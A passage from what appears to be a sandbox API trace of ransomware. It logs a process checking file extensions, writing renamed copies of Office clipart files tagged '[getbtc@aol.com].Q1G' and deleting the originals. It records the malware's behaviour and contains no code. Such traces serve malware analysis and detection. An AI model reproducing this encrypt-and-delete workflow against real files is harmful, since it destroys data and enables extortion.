(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.242] lstrlenW (lpString=".zip") returned 4 [0261.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.242] lstrlenW (lpString=".rar") returned 4 [0261.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.242] lstrlenW (lpString=".bz2") returned 4 [0261.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.242] lstrlenW (lpString=".7z") returned 3 [0261.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString=".dbf") returned 4 [0261.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString=".1cd") returned 4 [0261.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString=".jpg") returned 4 [0261.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString=".doc") returned 4 [0261.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString=".docx") returned 5 [0261.243] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.243] lstrlenW (lpString=".pdf") returned 4 [0261.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString=".xls") returned 4 [0261.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.243] lstrlenW (lpString=".xlsx") returned 5 [0261.243] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.243] lstrlenW (lpString=".ppt") returned 4 [0261.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.243] lstrlenW (lpString=".zip") returned 4 [0261.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.243] lstrlenW (lpString=".rar") returned 4 [0261.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.243] lstrlenW (lpString=".bz2") returned 4 [0261.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.244] lstrlenW (lpString=".7z") returned 3 [0261.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.244] lstrlenW (lpString=".dbf") returned 4 [0261.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.244] lstrlenW (lpString=".1cd") returned 4 [0261.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0261.244] lstrlenW (lpString=".jpg") returned 4 [0261.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.244] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.244] lstrlenW (lpString="J0107724.WMF") returned 12 [0261.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.244] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7016) returned 1 [0261.245] CloseHandle (hObject=0x3a0) returned 1 [0261.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0261.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.245] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.245] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.246] GetLastError () returned 0x0 [0261.246] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b68, lpOverlapped=0x0) returned 1 [0261.413] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b70, lpOverlapped=0x0) returned 1 [0261.414] ReadFile (in: hFile=0x3a0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.414] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.414] SetEndOfFile (hFile=0x3e0) returned 1 [0261.415] CloseHandle (hObject=0x3e0) returned 1 [0261.415] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.415] SetEndOfFile (hFile=0x3a0) returned 1 [0261.417] CloseHandle (hObject=0x3a0) returned 1 [0261.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0261.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.437] lstrlenW (lpString=".doc") returned 4 [0261.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.437] lstrlenW (lpString=".docx") returned 5 [0261.437] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.437] lstrlenW (lpString=".pdf") returned 4 [0261.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.437] lstrlenW (lpString=".xls") returned 4 [0261.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.437] lstrlenW (lpString=".xlsx") returned 5 [0261.437] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.437] lstrlenW (lpString=".ppt") returned 4 [0261.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.437] lstrlenW (lpString=".zip") returned 4 [0261.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.438] lstrlenW (lpString=".rar") returned 4 [0261.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString=".bz2") returned 4 [0261.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString=".7z") returned 3 [0261.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString=".dbf") returned 4 [0261.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString=".1cd") returned 4 [0261.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString=".jpg") returned 4 [0261.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString=".doc") returned 4 [0261.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString=".docx") returned 5 [0261.438] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.438] lstrlenW (lpString=".pdf") returned 4 [0261.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString=".xls") returned 4 [0261.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.438] lstrlenW (lpString=".xlsx") returned 5 [0261.438] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.438] lstrlenW (lpString=".ppt") returned 4 [0261.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.438] lstrlenW (lpString=".zip") returned 4 [0261.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.438] lstrlenW (lpString=".rar") returned 4 [0261.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.438] lstrlenW (lpString=".bz2") returned 4 [0261.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.439] lstrlenW (lpString=".7z") returned 3 [0261.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.439] lstrlenW (lpString=".dbf") returned 4 [0261.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.439] lstrlenW (lpString=".1cd") returned 4 [0261.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned 63 [0261.439] lstrlenW (lpString=".jpg") returned 4 [0261.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.439] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.439] lstrlenW (lpString="J0107750.WMF") returned 12 [0261.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.462] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4716) returned 1 [0261.462] CloseHandle (hObject=0x39c) returned 1 [0261.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0261.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.540] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.541] GetLastError () returned 0x0 [0261.541] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x126c, lpOverlapped=0x0) returned 1 [0261.566] WriteFile (in: hFile=0x1c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0261.567] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.567] WriteFile (in: hFile=0x1c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.567] SetEndOfFile (hFile=0x1c0) returned 1 [0261.567] CloseHandle (hObject=0x1c0) returned 1 [0261.568] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.568] SetEndOfFile (hFile=0x37c) returned 1 [0261.569] CloseHandle (hObject=0x37c) returned 1 [0261.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0261.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.727] lstrlenW (lpString=".doc") returned 4 [0261.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.730] lstrlenW (lpString=".docx") returned 5 [0261.731] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0261.732] lstrlenW (lpString=".pdf") returned 4 [0261.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.734] lstrlenW (lpString=".xls") returned 4 [0261.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.736] lstrlenW (lpString=".xlsx") returned 5 [0261.738] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0261.739] lstrlenW (lpString=".ppt") returned 4 [0261.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.743] lstrlenW (lpString=".zip") returned 4 [0261.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.745] lstrlenW (lpString=".rar") returned 4 [0261.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.747] lstrlenW (lpString=".bz2") returned 4 [0261.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.750] lstrlenW (lpString=".7z") returned 3 [0261.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.757] lstrlenW (lpString=".dbf") returned 4 [0261.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.759] lstrlenW (lpString=".1cd") returned 4 [0261.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.762] lstrlenW (lpString=".jpg") returned 4 [0261.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.768] lstrlenW (lpString=".doc") returned 4 [0261.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.768] lstrlenW (lpString=".docx") returned 5 [0261.769] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0261.769] lstrlenW (lpString=".pdf") returned 4 [0261.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString=".xls") returned 4 [0261.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.769] lstrlenW (lpString=".xlsx") returned 5 [0261.769] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0261.769] lstrlenW (lpString=".ppt") returned 4 [0261.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.769] lstrlenW (lpString=".zip") returned 4 [0261.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.769] lstrlenW (lpString=".rar") returned 4 [0261.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString=".bz2") returned 4 [0261.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString=".7z") returned 3 [0261.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.769] lstrlenW (lpString=".dbf") returned 4 [0261.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.769] lstrlenW (lpString=".1cd") returned 4 [0261.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0261.769] lstrlenW (lpString=".jpg") returned 4 [0261.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.769] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.769] lstrlenW (lpString="J0145361.JPG") returned 12 [0261.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.770] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=21125) returned 1 [0261.770] CloseHandle (hObject=0x37c) returned 1 [0261.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0261.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.771] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.771] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.771] GetLastError () returned 0x0 [0261.771] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5285, lpOverlapped=0x0) returned 1 [0261.790] WriteFile (in: hFile=0x1c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5290, lpOverlapped=0x0) returned 1 [0261.791] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.791] WriteFile (in: hFile=0x1c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.791] SetEndOfFile (hFile=0x1c0) returned 1 [0261.791] CloseHandle (hObject=0x1c0) returned 1 [0261.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.791] SetEndOfFile (hFile=0x37c) returned 1 [0261.794] CloseHandle (hObject=0x37c) returned 1 [0261.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0261.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.795] lstrlenW (lpString=".doc") returned 4 [0261.795] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.795] lstrlenW (lpString=".docx") returned 5 [0261.795] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0261.795] lstrlenW (lpString=".pdf") returned 4 [0261.795] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.795] lstrlenW (lpString=".xls") returned 4 [0261.795] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.795] lstrlenW (lpString=".xlsx") returned 5 [0261.795] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0261.795] lstrlenW (lpString=".ppt") returned 4 [0261.795] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.795] lstrlenW (lpString=".zip") returned 4 [0261.795] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.795] lstrlenW (lpString=".rar") returned 4 [0261.796] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.796] lstrlenW (lpString=".bz2") returned 4 [0261.796] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.796] lstrlenW (lpString=".7z") returned 3 [0261.796] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0261.796] lstrlenW (lpString=".dbf") returned 4 [0261.796] lstrcmpiW (lpString1=".dbf", 